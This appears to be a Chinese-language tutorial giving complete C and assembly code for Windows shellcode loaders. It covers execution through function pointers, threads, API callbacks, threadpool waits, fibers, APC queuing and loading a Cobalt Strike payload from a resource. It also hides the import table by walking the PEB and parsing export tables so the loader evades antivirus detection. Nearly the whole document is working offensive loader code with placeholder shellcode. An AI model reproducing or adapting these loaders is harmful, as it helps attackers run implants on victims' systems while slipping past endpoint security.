改变加载方式
指针执行
#include #include int main() { unsigned char buf[] = "shellcode"; // unsigned表示无符号数 /* * VirtualAlloc是Windows API * 参数1:分配的内存的起始地址,如果为NULL则由系统决定 * 参数2:分配的内存大小,以字节为单位 * 参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交 * 参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读 */ void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向申请的内存 memcpy(p, buf, sizeof(buf)); // 将shellcode写入内存 /* * 类型强制转换:(目标类型)表达式 * (void(*)())p:将p转换为指向无参数、无返回值的函数指针 * ((void(*)())p)():对函数进行调用 */ ((void(*)())p)(); // 执行shellcode return 0; }
汇编执行
#include #include // .data段(数据段,存储静态变量和全局变量)改为可读可写可执行 #pragma comment(linker, "/section:.data,RWE") unsigned char buf[] = "shellcode"; // 要为全局变量 int main() { __asm { lea eax, buf // 这里查看反汇编是lea eax,[buf地址] call eax } return 0; }
创建线程执行
#include #include int main() { unsigned char buf[] = "shellcode"; void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // CopyMemory是Windows API CopyMemory(p, buf, sizeof(buf)); // 将shellcode写入内存 /* * CreateThread是Windows API,用于创建一个新线程 * 参数1:指向 SECURITY_ATTRIBUTES 结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性 * 参数2:指定新线程的堆栈大小,0表示默认大小,如果指定大小小于MINIMUM_STACK_SIZE(通常1KB),则会被自动调整为MINIMUM_STACK_SIZE * 参数3:线程函数指针,必须是静态函数或全局函数,且返回值为DWORD * 参数4:传递给线程函数的参数指针,可以将任何类型的数据转换为LPVOID来传递参数 * 参数5:0表示创建线程后立刻执行,CREATE_SUSPENDED表示创建线程后立即挂起,等待调用 ResumeThread 才会开始执行 * 参数6:接收新线程 ID 的变量的指针,NULL表示不返回线程ID */ // 句柄(Handle)是一种用于标识对象的数据类型,实际上是一个指向内存中数据结构的指针,该数据结构描述了所标识的对象的属性 HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 线程句柄 /* * 参数1:内核对象的句柄 * 参数2:等待时间的毫秒数,INFINITE(即-1)表示无限等待直到对象进入signaled状态 */ WaitForSingleObject(hThread, INFINITE); // 等待新线程执行完毕,不等待可能执行不到 return 0; }
回调函数执行
#include #include int main() { unsigned char buf[] = "shellcode"; void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(p, buf, sizeof(buf)); /* * EnumFontsW是Windows API,用于枚举系统中所有可用字体 * 参数1:设备环境句柄,表示要枚举哪个设备的字体 * 参数2:NULL表示枚举所有字体 * 参数3:回调函数指针,用于处理每个枚举到的字体信息 * 参数4:回调函数参数 */ EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回调函数 return 0; }
线程池等待对象回调函数执行
#include #include int main() { unsigned char buf[] = "shellcode"; /* * VirtualProtect是Windows API,用于修改内存访问权限 * 参数1:指向内存的指针 * 参数2:内存大小(以字节为单位) * 参数3:新的访问权限 * 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错) */ DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行 /* * CreateEvent是Windows API,用于创建一个事件对象 * 参数1:安全属性,NULL表示默认 * 参数2:是否手动复位 * 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态 * 参数4:事件名称,NULL表示不使用名称 */ HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); /* * CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象 * 参数1:回调函数指针 * 参数2:回调函数参数 * 参数3:线程池回调环境 */ PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL); /* * SetThreadpoolWait是Windows API,用于向线程池中添加等待对象 * 参数1:线程池等待对象 * 参数2:要等待的内核对象句柄 * 参数3:等待超时时间,NULL表示无限等待 */ SetThreadpoolWait(threadPoolWait, event, NULL); WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf return 0; }
创建纤程(Fiber)执行
#include #include int main() { unsigned char buf[] = "shellcode"; DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程) /* * CreateFiber用于创建纤程对象 * 参数1:纤程栈的大小,0表示使用默认值 * 参数2:函数指针 * 参数3:创建纤程的标志位 */ void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL); SwitchToFiber(shellcodeFiber); // 切换纤程,执行函数 DeleteFiber(shellcodeFiber); // 删除纤程对象 return 0; }
NtTestAlert+APC执行
#include #include // 定义的一个函数指针类型pNtTestAlert,函数使用__stdcall调用约定(用于大多数Win32 API函数),函数返回DWORD类型 typedef DWORD(WINAPI* pNtTestAlert)(); int main() { unsigned char buf[] = "shellcode"; DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); /* * GetModuleHandleA用于获取DLL的句柄 * GetProcAddress用于获取函数地址 * NtTestAlert函数是内部函数,无法直接通过函数名调用 */ pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); /* * QueueUserAPC是Windows API,用于将APC函数插入到指定线程的APC队列中 * 参数1:APC函数指针 * 参数2:指定线程句柄 * 参数3:APC函数参数 * GetCurrentThread是Windows API,返回当前执行的线程的句柄 */ QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL); NtTestAlert(); // 该函数会检查当前线程的APC队列是否有待执行的异步过程调用,如果有就会立刻执行 return 0; }
从资源加载执行
源文件->添加->资源->导入->CS生成的.bin文件->资源类型(xxx)
在resource.h查看资源ID(#define IDR_XXX1)
#include #include #include "resource.h" // 将资源文件 resource.h 中定义的资源包含到当前文件 int main() { /* * FindResource是windows API,用于在资源表中查找指定名称和类型的资源 * 参数1:模块句柄,表示要在哪个模块中查找资源,NULL表示在当前模块中查找 * 参数2:查找资源的名称或ID,如果是用ID,则需要使用宏 MAKEINTRESOURCE 将ID转换为字符串类型 * 参数3:资源类型名称 */ HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx"); DWORD Size = SizeofResource(NULL, Res); // Windows API,用于获取资源大小 HGLOBAL Load = LoadResource(NULL, Res); // Windows API,用于加载资源 void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(p, Load, Size); ((void(*)())p)(); return 0; }
函数替换
VirtualAlloc
GlobalAlloc CoTaskMemAlloc HeapAlloc RtlCreateHeap AllocADsMem ReallocADsMem
回调函数
EnumTimeFormatsA EnumWindows EnumDesktopWindows EnumDateFormatsA EnumChildWindows EnumThreadWindows EnumSystemLocalesA EnumSystemGeoID EnumSystemLanguageGroupsA EnumUILanguagesA EnumSystemCodePagesA EnumDesktopsW EnumSystemCodePagesW
隐藏导入表
获取DLL函数地址执行
但是导入表会有 loadlibary
和 GetProcAddress
#include #include //typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD); int main() { unsigned char buf[] = "shellcode"; HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll"); // 加载DLL文件,该函数使用 Unicode 编码所以要加L表示这是一个宽字符(wchar_t)类型的字符串 //pVirtualAlloc VirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc"); pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect"); pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread"); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject"); DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }
x64完全隐藏导入表
64位,gs:[0x30]指向TEB结构体(包含进程中运行线程的各种信息),TEB+0x60 和 gs:[0x60]都是指向PEB结构体(包含进程信息),PEB+0x18指向PEB_LDR_DATA结构体,PEB_LDR_DATA+0x30指向InInitializationOrderModuleList
VS用64位写汇编函数(64位不能直接用__asm{}):
视图->解决方案资源管理器->源文件->添加->新建项->xxx.asm
xxx.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo (IntDir)%(fileName).obj)
xxx.asm:
.CODE GetInInitializationOrderModuleList PROC mov rax,gs:[60h] ; PEB,这里不能写0x60 mov rax,[rax+18h] ; PEB_LDR_DATA mov rax,[rax+30h] ; InInitializationOrderModuleList ret ; 这里不能写retn GetInInitializationOrderModuleList ENDP END
xxx.c:
#include #include typedef struct _UNICODE_STRING { USHORT Length; // 这三个是必有的,用来描述Buffer USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;// UNICODE_STRING 相当于 struct _UNICODE_STRING /* * 返回64位无符号地址的指针 * 如果是C++,要用extern "C" PVOID64 __stdcall GetPEB();表示函数使用C语言的调用约定(取消函数名称修饰) */ PVOID64 __stdcall GetInInitializationOrderModuleList(); HMODULE getKernel32Address() { /* * LIST_ENTRY是实现了双向链表的结构体 * Flink 和 Blink 分别指向下一个、上一个节点 * InInitializationOrderModuleList是一个链表,每个节点是LDR_DATA_TABLE_ENTRY结构体(不是C语言结构体) */ LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 获取InInitializationOrderModuleList while (1) { /* * x64的LDR_DATA_TABLE_ENTRY结构体偏移量0x38是FullDllName成员,x86是0x24 * 能强制转换是因为名称和类型是对应的 */ UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38); // Buffer指向模块完整路径名(KERNEL32.DLL\0) if (*(FullDllName->Buffer + 12) == '\0') { // LDR_DATA_TABLE_ENTRY结构体偏移量0x10是DllBase成员,表示模块的基地址 return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10))); } pNode = pNode->Flink; } } DWORD64 getGetProcAddress(HMODULE hKernal32) { /* * PIMAGE_DOS_HEADER指针是指向 IMAGE_DOS_HEADER 结构体的指针 * IMAGE_DOS_HEADER结构体存储DOS头部信息 * DOS头部信息是文件头的第一个部分,也就是PE文件起始地址 */ PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头 /* * 64位下,指针是8字节,e_lfanew是DWORD是4字节,所以要用LONG64 * NT头指针可以获取PE文件各种信息 */ PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT头 /* * PIMAGE_EXPORT_DIRECTORY是导出表指针 * OptionalHeader字段中的DataDirectory数组的第0个元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直观)的VirtualAddress字段为导出表的位置 */ PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表 /* * 导出表的AddressOfFunctions字段包含一个指针数组,数组的每个元素都是导出函数的RVA(相对虚拟地址) * 函数的地址为ULONG,所以用PULONG指针 */ PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 获取导出函数地址RVA数组地址 PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址 PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址 for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数 LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址 PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址 /* * const char*为字符串指针 * strcmp的参数就是两个字符串指针,比较内容 */ if (!strcmp((const char*)FunctionName, "GetProcAddress")) { return F_va_Tmp; } } } typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD); int main() { unsigned char buf[] = "x64shellcode"; HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32 pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址 pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect"); pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread"); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject"); DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }
x86完全隐藏导入表
32位,fs:[0x0]指向TEB结构体,fs:[0x30]指向PEB结构体,PEB+0x0c指向PEB_LDR_DATA结构体,PEB_LDR_DATA+0x0c指向InLoadOrderModuleList
xxx.cpp:
新增了 LDR_DATA_TABLE_ENTRY 结构体,重新写了getKernel32Address函数,去掉xxx.asm
#include #include typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _LDR_DATA_TABLE_ENTRY // 新增 LDR_DATA_TABLE_ENTRY 结构体 { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT32 Flags; USHORT LoadCount; USHORT TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; UINT32 CheckSum; UINT32 TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; HMODULE getKernel32Address() { // 重新写的函数 LDR_DATA_TABLE_ENTRY* pPLD = NULL; char szKernel32[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; //Unicode字符所以要跟0,最后一个是\0 __asm { mov eax, fs: [0x30] // PEB mov eax, [eax + 0x0C] // PEB_LDR_DATA mov eax, [eax + 0x0C] // InLoadOrderModuleList mov pPLD, eax } while (1) { if (!strcmp(pPLD->BaseDllName.Buffer, szKernel32)) { // 当前模块名为KERNEL32.DLL\0 return (HMODULE)pPLD->DllBase; } pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink; // 下一个LDR_DATA_TABLE_ENTRY结构体 } } DWORD64 getGetProcAddress(HMODULE hKernal32) { /* * PIMAGE_DOS_HEADER指针是指向 IMAGE_DOS_HEADER 结构体的指针 * IMAGE_DOS_HEADER结构体存储DOS头部信息 * DOS头部信息是文件头的第一个部分,也就是PE文件起始地址 */ PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头 /* * 64位下,指针是8字节,e_lfanew是DWORD是4字节,所以要用LONG64 * NT头指针可以获取PE文件各种信息 */ PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT头 /* * PIMAGE_EXPORT_DIRECTORY是导出表指针 * OptionalHeader字段中的DataDirectory数组的第0个元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直观)的VirtualAddress字段为导出表的位置 */ PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表 /* * 导出表的AddressOfFunctions字段包含一个指针数组,数组的每个元素都是导出函数的RVA(相对虚拟地址) * 函数的地址为ULONG,所以用PULONG指针 */ PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 获取导出函数地址RVA数组地址 PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址 PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址 for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数 LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址 PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址 /* * const char*为字符串指针 * strcmp的参数就是两个字符串指针,比较内容 */ if (!strcmp((const char*)FunctionName, "GetProcAddress")) { return F_va_Tmp; } } } typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD); int main() { unsigned char buf[] = "x86shellcode"; HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32 pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址 pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect"); pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread"); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject"); DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }